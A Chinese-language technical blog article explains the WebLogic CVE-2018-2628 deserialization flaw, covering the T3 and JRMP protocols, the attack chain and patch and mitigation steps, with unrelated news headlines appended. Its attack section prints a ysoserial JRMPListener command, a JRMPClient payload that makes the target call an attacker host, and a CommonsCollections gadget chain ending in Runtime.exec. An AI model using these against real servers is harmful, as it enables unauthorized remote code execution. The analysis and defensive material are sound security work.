CVE-2018-2628 漏洞原理剖析:T3协议、JRMP与Java反序列化攻击链详解 CVE-2018-2628 漏洞深度解析T3协议、JRMP与Java反序列化攻击链1. 漏洞背景与影响范围2018年4月Oracle官方发布安全公告修复了WebLogic Server WLS核心组件中的高危反序列化漏洞CVE-2018-2628。该漏洞通过T3协议触发允许攻击者在未授权情况下远程执行任意命令直接影响以下版本Weblogic 10.3.6.0Weblogic 12.1.3.0Weblogic 12.2.1.2Weblogic 12.2.1.3漏洞本质是攻击者通过构造恶意序列化对象绕过WebLogic的黑名单限制利用RMI机制触发反序列化操作最终实现远程代码执行。由于T3协议在WebLogic控制台端口默认7001上默认开启使得该漏洞具有极高的可利用性。2. 核心技术组件解析2.1 T3协议工作机制T3Typed Three-Tier是WebLogic私有协议用于服务器间通信和Java客户端交互。其核心特点包括二进制协议基于TCP/IP专为WebLogic环境优化多路复用单个连接可承载多个逻辑数据流对象传输原生支持Java对象序列化传输协议栈位置| 应用层 | T3协议 | |--------|--------| | 传输层 | JRMP | | 网络层 | TCP/IP |关键字段分析Wireshark捕获示例0000 02 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................2.2 JRMP协议原理JRMPJava Remote Method Protocol是Java RMI的底层传输协议具有以下特征专为Java设计仅支持Java-to-Java的远程调用序列化传输所有方法调用和返回数据都通过对象序列化传输动态类加载支持远程加载未知类典型JRMP交互流程客户端查找远程对象通过Registry服务端返回远程对象Stub客户端通过Stub发起方法调用服务端执行方法并返回结果2.3 Java反序列化机制Java反序列化漏洞的核心在于ObjectInputStream.readObject()方法。当WebLogic处理T3协议数据时会反序列化接收到的对象关键调用栈如下ObjectInputStream.readObject() - readObject0() - readOrdinaryObject() - readClassDesc() - resolveClass()攻击者通过精心构造的序列化对象可以触发目标类中的危险方法如Runtime.exec()。WebLogic虽然实现了黑名单过滤但存在被绕过的可能。3. 漏洞攻击链剖析3.1 完整攻击流程图------------------- ------------------- ------------------- | 攻击者 | | 漏洞WebLogic | | JRMP Server | ------------------- ------------------- ------------------- | | | | 1. 发送恶意T3请求 | | |------------------------| | | | | | | 2. 触发反序列化 | | |---- | | | | 3. 连接JRMP Server| | |--- | | |-----------------------| | | | | | 4. 加载恶意类 | | |-----------------------| | | | | | 5. 执行任意命令 | | |---- | | | | | | |--- |3.2 ysoserial工具链分析ysoserial中的JRMPClient利用链工作流程攻击者启动JRMP监听服务java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 command生成恶意序列化对象public class JRMPClient extends PayloadRunner implements ObjectPayloadRegistry { public Registry getObject(String command) throws Exception { ObjID id new ObjID(new Random().nextInt()); TCPEndpoint te new TCPEndpoint(host, port); UnicastRef ref new UnicastRef(new LiveRef(id, te, false)); return ref; } }WebLogic反序列化时触发UnicastRef.readExternal()建立到攻击者JRMP服务的连接JRMP服务返回包含恶意代码的RemoteObjectInvocationHandler3.3 CommonsCollections利用链典型的Gadget Chain构造ObjectInputStream.readObject() - AnnotationInvocationHandler.readObject() - Map(Proxy).entrySet() - AnnotationInvocationHandler.invoke() - LazyMap.get() - ChainedTransformer.transform() - InvokerTransformer.transform() - Runtime.exec()关键Transformer配置示例Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) };4. 防御方案与缓解措施4.1 官方修复方案Oracle通过以下方式修复该漏洞增强反序列化过滤器扩展黑名单包含更多危险类限制T3协议的访问权限补丁安装步骤登录Oracle支持站点下载补丁执行OPatch工具应用更新opatch apply4.2 临时缓解措施对于无法立即升级的系统可采用T3协议访问控制!-- weblogic.xml 配置示例 -- security-configuration enforce-valid-t3-protocoltrue/enforce-valid-t3-protocol /security-configuration网络层防护# iptables规则示例 iptables -A INPUT -p tcp --dport 7001 -m connlimit --connlimit-above 10 -j DROP4.3 深度防御建议JEP290防护启用Java反序列化过滤器System.setProperty(jdk.serialFilter, !org.apache.commons.collections.*);RMI加固配置JVM参数限制远程类加载-Djava.rmi.server.useCodebaseOnlytrue -Djava.security.manager运行时监控部署RASP解决方案检测异常反序列化行为5. 漏洞研究延伸5.1 相关CVE关联分析CVE-2017-3248早期WebLogic JRMP反序列化漏洞CVE-2018-2893CVE-2018-2628的绕过变种CVE-2020-2555后续WebLogic反序列化漏洞5.2 自动化检测方案使用Nmap脚本检测漏洞存在nmap -p 7001 --script weblogic-t3-info target自定义检测脚本关键逻辑def check_vulnerability(host, port): payload generate_serialized_payload() response send_t3_request(host, port, payload) return bJRMP in response5.3 研究工具推荐反序列化分析工具SerializationDumperBurp Java Deserialization Scanner漏洞利用框架ysoserialmarshalsec流量分析工具Wireshark with T3 dissectorJava RMI Monitor

相关新闻

最新新闻

DeepSpeed ZERO技术解析:大模型分布式训练显存优化实战指南

DeepSpeed ZERO技术解析:大模型分布式训练显存优化实战指南

1. 项目概述:大模型时代的效率革命如果你最近在搞大模型相关的项目,无论是微调、推理还是应用开发,大概率会碰到一个让人头疼的问题:显存。动辄几十亿、上百亿参数的模型,哪怕只是加载到GPU里看一眼,都可能…

2026/8/27 3:32:37
浮点数精度泄露:从Claude额度异常看系统安全设计缺陷

浮点数精度泄露:从Claude额度异常看系统安全设计缺陷

1. 从一次“意外”的发现说起:浮点数精度泄露的隐秘角落前几天,我在一个技术社群里潜水,看到有人分享了一个关于Claude订阅的截图,上面显示了一个奇怪的数字,比如“剩余额度:999999.999999”。起初大家以为…

2026/8/27 3:32:37
ARM64 Ubuntu服务器上绕过Snap部署Chromium,集成OpenClaw与BB-Browser构建自动化采集链路

ARM64 Ubuntu服务器上绕过Snap部署Chromium,集成OpenClaw与BB-Browser构建自动化采集链路

1. 项目概述与核心痛点最近在折腾一个自动化数据采集的项目,目标环境是ARM64架构的Ubuntu服务器。我的技术栈选型是OpenClaw作为爬虫框架,搭配BB-Browser(一个基于Chromium的无头浏览器)来处理复杂的JavaScript渲染页面。这个组合…

2026/8/27 3:32:37
模拟退火算法在无人机药品配送路径规划中的Matlab实现

模拟退火算法在无人机药品配送路径规划中的Matlab实现

1. 项目概述:当无人机遇上“退火”,药品配送的最后一公里难题如何破解?最近在做一个挺有意思的课题,客户想用无人机解决偏远地区或城市内紧急药品的配送问题。需求很明确:距离近优先。这听起来简单,不就是找…

2026/8/27 3:32:37
推荐系统与注意力经济:破解“无快乐的放纵”的开发者自救指南

推荐系统与注意力经济:破解“无快乐的放纵”的开发者自救指南

看到这个英文标题,你可能会以为这是一篇心理学随笔或者社会评论。但如果你是一名长期浸泡在信息流里的技术人,你会发现它精准描述了我们在无数个深夜的状态:应用越装越多,功能越做越丰富,推荐越来越懂你,可…

2026/8/27 3:32:37
WorkBuddy实战:用Skill与自定义指令构建自动更新项目看板

WorkBuddy实战:用Skill与自定义指令构建自动更新项目看板

开头我先说一个关键判断:WorkBuddy 这类工具,真正值得花时间的不是“会安装”,而是“把一条重复的日常工作流变成自动执行的任务”。项目看板正好是最典型的落地场景。你不需要手动整理任务状态,不需要反复复制粘贴进度&#xff0…

2026/8/27 3:27:36